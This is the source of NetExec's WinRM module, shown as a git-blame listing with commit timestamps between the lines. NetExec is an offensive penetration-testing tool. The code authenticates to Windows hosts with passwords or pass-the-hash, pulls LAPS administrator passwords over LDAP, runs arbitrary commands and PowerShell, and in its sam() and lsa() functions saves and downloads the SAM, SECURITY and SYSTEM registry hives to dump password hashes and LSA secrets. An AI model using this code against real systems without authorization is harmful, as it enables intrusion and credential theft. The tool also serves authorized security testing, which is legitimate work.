NetExec/nxc/protocols/winrm.py

356 lines
15 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
import binascii
import hashlib
import os
import requests
from io import StringIO
2023-05-17 20:39:11 +00:00
from datetime import datetime
from pypsrp.client import Client
2023-05-07 22:51:01 +00:00
from impacket.smbconnection import SMBConnection
2023-05-17 20:39:11 +00:00
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
from nxc.config import process_secret
2023-10-06 16:41:00 +00:00
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
from nxc.logger import NXCAdapter
import contextlib
class winrm(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
2022-02-23 20:09:49 +00:00
self.output_filename = None
self.endpoint = None
self.port = None
self.hash = None
self.lmhash = None
self.nthash = None
connection.__init__(self, args, db, host)
def proto_logger(self):
self.logger = NXCAdapter(
extra={
2023-05-02 15:17:59 +00:00
"protocol": "WINRM",
"host": self.host,
"port": self.args.port if self.args.port else 5985,
2023-05-02 15:17:59 +00:00
"hostname": self.hostname,
}
)
def enum_host_info(self):
2020-06-20 10:20:53 +00:00
# smb no open, specify the domain
if self.args.no_smb:
self.domain = self.args.domain
else:
smb_conn = SMBConnection(self.host, self.host, None, timeout=5)
no_ntlm = False
try:
smb_conn.login("", "")
except BrokenPipeError:
2023-09-20 15:59:16 +00:00
self.logger.fail("Broken Pipe Error while attempting to login")
except Exception as e:
if "STATUS_NOT_SUPPORTED" in str(e):
# no ntlm supported
no_ntlm = True
2023-05-08 18:39:36 +00:00
self.domain = smb_conn.getServerDNSDomainName() if not no_ntlm else self.args.domain
self.hostname = smb_conn.getServerName() if not no_ntlm else self.host
self.server_os = smb_conn.getServerOS()
if isinstance(self.server_os.lower(), bytes):
self.server_os = self.server_os.decode("utf-8")
self.logger.extra["hostname"] = self.hostname
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
with contextlib.suppress(Exception):
smb_conn.logoff()
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
if self.server_os is None:
self.server_os = ""
if self.domain is None:
self.domain = ""
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
2023-02-12 21:03:38 +00:00
2022-02-11 21:38:39 +00:00
def laps_search(self, username, password, ntlm_hash, domain):
2023-04-21 11:25:25 +00:00
ldapco = LDAPConnect(self.domain, "389", self.domain)
if self.kerberos:
if self.kdcHost is None:
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
return False
connection = ldapco.kerberos_login(
domain,
2023-05-02 15:17:59 +00:00
username[0] if username else "",
password[0] if password else "",
ntlm_hash[0] if ntlm_hash else "",
2023-04-21 11:25:25 +00:00
kdcHost=self.kdcHost,
2023-05-02 15:17:59 +00:00
aesKey=self.aesKey,
2023-04-21 11:25:25 +00:00
)
else:
2023-05-02 12:52:27 +00:00
connection = ldapco.auth_login(
2023-04-21 11:25:25 +00:00
domain,
2023-05-02 15:17:59 +00:00
username[0] if username else "",
password[0] if password else "",
ntlm_hash[0] if ntlm_hash else "",
2023-04-21 11:25:25 +00:00
)
if not connection:
2023-09-24 04:06:51 +00:00
self.logger.fail(f"LDAP connection failed with account {username[0]}")
2022-02-11 21:38:39 +00:00
return False
2023-04-21 11:25:25 +00:00
2023-05-08 18:39:36 +00:00
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
2023-05-02 15:17:59 +00:00
attributes = [
"msLAPS-EncryptedPassword",
"msLAPS-Password",
"ms-MCS-AdmPwd",
"sAMAccountName",
]
2023-05-08 18:39:36 +00:00
results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
2022-02-11 21:38:39 +00:00
2023-05-02 15:17:59 +00:00
msMCSAdmPwd = ""
sAMAccountName = ""
2023-05-17 20:39:11 +00:00
username_laps = ""
2023-04-21 11:25:25 +00:00
from impacket.ldap import ldapasn1 as ldapasn1_impacket
2023-05-02 15:17:59 +00:00
2023-04-21 11:25:25 +00:00
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
if len(results) != 0:
for host in results:
2023-05-17 20:39:11 +00:00
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
2023-04-21 11:25:25 +00:00
if "mslaps-encryptedpassword" in values:
2023-05-17 20:39:11 +00:00
from json import loads
2023-05-17 20:39:11 +00:00
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), username[0] if username else "", password[0] if password else "", domain, ntlm_hash[0] if ntlm_hash else "", self.args.kerberos, self.args.kdcHost, 339)
2023-05-17 20:39:11 +00:00
data = d.run()
r = loads(data)
msMCSAdmPwd = r["p"]
username_laps = r["n"]
2023-04-21 11:25:25 +00:00
elif "mslaps-password" in values:
from json import loads
2023-05-17 20:39:11 +00:00
r = loads(str(values["mslaps-password"]))
2023-05-02 15:17:59 +00:00
msMCSAdmPwd = r["p"]
2023-05-17 20:39:11 +00:00
username_laps = r["n"]
2023-04-21 11:25:25 +00:00
elif "ms-mcs-admpwd" in values:
2023-05-17 20:39:11 +00:00
msMCSAdmPwd = str(values["ms-mcs-admpwd"])
2022-02-11 21:38:39 +00:00
else:
self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
2023-09-24 04:06:51 +00:00
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
2023-04-21 11:25:25 +00:00
else:
2023-09-24 04:06:51 +00:00
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
2023-04-21 11:25:25 +00:00
return False
self.username = username_laps if username_laps else self.args.laps
2022-02-11 21:38:39 +00:00
self.password = msMCSAdmPwd
2023-04-21 11:25:25 +00:00
2023-05-02 15:17:59 +00:00
if msMCSAdmPwd == "":
2023-09-24 04:06:51 +00:00
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
2022-02-11 21:38:39 +00:00
return False
if ntlm_hash:
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
2022-02-11 21:38:39 +00:00
self.hash = binascii.hexlify(hash_ntlm).decode()
2023-04-21 11:25:25 +00:00
2022-02-11 21:38:39 +00:00
self.domain = self.hostname
return True
def print_host_info(self):
2020-06-20 10:20:53 +00:00
if self.args.domain:
self.logger.extra["protocol"] = "HTTP"
self.logger.display(self.endpoint)
else:
self.logger.extra["protocol"] = "SMB"
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
self.logger.extra["protocol"] = "HTTP"
self.logger.display(self.endpoint)
2022-02-11 21:38:39 +00:00
if self.args.laps:
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
return True
def create_conn_obj(self):
endpoints = [
f"https://{self.host}:{self.args.port if self.args.port else 5986}/wsman",
2023-05-02 15:17:59 +00:00
f"http://{self.host}:{self.args.port if self.args.port else 5985}/wsman",
]
for url in endpoints:
try:
2023-10-15 10:49:41 +00:00
self.logger.debug(f"Requesting URL: {url}")
res = requests.post(url, verify=False, timeout=self.args.http_timeout)
2023-10-15 10:49:41 +00:00
self.logger.debug("Received response code: {res.status_code}")
self.endpoint = url
2023-05-02 15:17:59 +00:00
if self.endpoint.startswith("https://"):
2023-05-08 18:39:36 +00:00
self.logger.extra["port"] = self.args.port if self.args.port else 5986
else:
2023-05-08 18:39:36 +00:00
self.logger.extra["port"] = self.args.port if self.args.port else 5985
return True
except requests.exceptions.Timeout as e:
self.logger.info(f"Connection Timed out to WinRM service: {e}")
except requests.exceptions.ConnectionError as e:
2023-05-02 15:17:59 +00:00
if "Max retries exceeded with url" in str(e):
2023-09-20 15:59:16 +00:00
self.logger.info("Connection Timeout to WinRM service (max retries exceeded)")
else:
self.logger.info(f"Other ConnectionError to WinRM service: {e}")
return False
def plaintext_login(self, domain, username, password):
try:
2022-02-11 21:38:39 +00:00
if not self.args.laps:
self.password = password
self.username = username
self.domain = domain
self.conn = Client(
self.host,
auth="ntlm",
username=f"{domain}\\{self.username}",
password=self.password,
ssl=bool(self.args.ssl),
cert_validation=not self.args.ignore_ssl_cert,
)
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
# we could just authenticate without running a command :) (probably)
self.conn.execute_ps("hostname")
self.admin_privs = True
2023-05-08 18:39:36 +00:00
self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
2023-05-02 15:17:59 +00:00
self.db.add_credential("plaintext", domain, self.username, self.password)
# TODO: when we can easily get the host_id via RETURNING statements, readd this in
if self.admin_privs:
2023-09-20 15:59:16 +00:00
self.logger.debug("Inside admin privs")
2023-05-08 18:39:36 +00:00
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id)
if not self.args.local_auth:
2023-05-02 15:17:59 +00:00
add_user_bh(self.username, self.domain, self.logger, self.config)
return True
except Exception as e:
2023-05-02 15:17:59 +00:00
if "with ntlm" in str(e):
2023-05-08 18:39:36 +00:00
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
else:
2023-05-08 18:39:36 +00:00
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()} '{e}'")
return False
2020-06-22 10:25:00 +00:00
def hash_login(self, domain, username, ntlm_hash):
try:
2023-05-02 15:17:59 +00:00
lmhash = "00000000000000000000000000000000:"
nthash = ""
2020-06-22 10:25:00 +00:00
2022-02-11 21:38:39 +00:00
if not self.args.laps:
self.username = username
# This checks to see if we didn't provide the LM Hash
2023-05-02 15:17:59 +00:00
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
2022-02-11 21:38:39 +00:00
else:
nthash = ntlm_hash
ntlm_hash = lmhash + nthash
if lmhash:
self.lmhash = lmhash
if nthash:
self.nthash = nthash
2020-06-22 10:25:00 +00:00
else:
nthash = self.hash
2023-05-02 15:17:59 +00:00
2022-02-11 21:38:39 +00:00
self.domain = domain
self.conn = Client(
self.host,
auth="ntlm",
username=f"{self.domain}\\{self.username}",
password=lmhash + nthash,
ssl=bool(self.args.ssl),
cert_validation=not self.args.ignore_ssl_cert,
)
2020-06-22 10:25:00 +00:00
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
# we could just authenticate without running a command :) (probably)
self.conn.execute_ps("hostname")
self.admin_privs = True
2023-05-08 18:39:36 +00:00
self.logger.success(f"{self.domain}\\{self.username}:{process_secret(nthash)} {self.mark_pwned()}")
self.db.add_credential("hash", domain, self.username, nthash)
if self.admin_privs:
self.db.add_admin_user("hash", domain, self.username, nthash, self.host)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
return True
2020-06-22 10:25:00 +00:00
except Exception as e:
2023-05-02 15:17:59 +00:00
if "with ntlm" in str(e):
2023-05-08 18:39:36 +00:00
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(nthash)}")
2020-06-22 10:25:00 +00:00
else:
2023-05-08 18:39:36 +00:00
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(nthash)} '{e}'")
2020-06-22 10:25:00 +00:00
return False
def execute(self, payload=None, get_output=False):
try:
r = self.conn.execute_cmd(self.args.execute, encoding=self.args.codec)
except Exception:
self.logger.info("Cannot execute command, probably because user is not local admin, but powershell command should be ok!")
r = self.conn.execute_ps(self.args.execute)
self.logger.success("Executed command")
buf = StringIO(r[0]).readlines()
for line in buf:
self.logger.highlight(line.strip())
def ps_execute(self, payload=None, get_output=False):
r = self.conn.execute_ps(self.args.ps_execute)
2023-05-02 15:17:59 +00:00
self.logger.success("Executed command")
buf = StringIO(r[0]).readlines()
for line in buf:
self.logger.highlight(line.strip())
2022-02-23 20:09:49 +00:00
def sam(self):
self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
2022-02-23 20:09:49 +00:00
self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam")
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM")
local_operations = LocalOperations(f"{self.output_filename}.system")
boot_key = local_operations.getBootKey()
SAM = SAMHashes(
f"{self.output_filename}.sam",
boot_key,
isRemote=None,
2023-05-02 15:17:59 +00:00
perSecretCallback=lambda secret: self.logger.highlight(secret),
)
2022-02-23 20:09:49 +00:00
SAM.dump()
SAM.export(f"{self.output_filename}.sam")
2022-02-23 20:09:49 +00:00
def lsa(self):
self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
2023-05-08 18:39:36 +00:00
self.conn.fetch("C:\\windows\\temp\\SECURITY", f"{self.output_filename}.security")
self.conn.fetch("C:\\windows\\temp\\SYSTEM", f"{self.output_filename}.system")
2022-02-23 20:09:49 +00:00
self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY")
local_operations = LocalOperations(f"{self.output_filename}.system")
boot_key = local_operations.getBootKey()
LSA = LSASecrets(
f"{self.output_filename}.security",
boot_key,
None,
isRemote=None,
2023-05-02 15:17:59 +00:00
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
)
2022-02-23 20:09:49 +00:00
LSA.dumpCachedHashes()
LSA.dumpSecrets()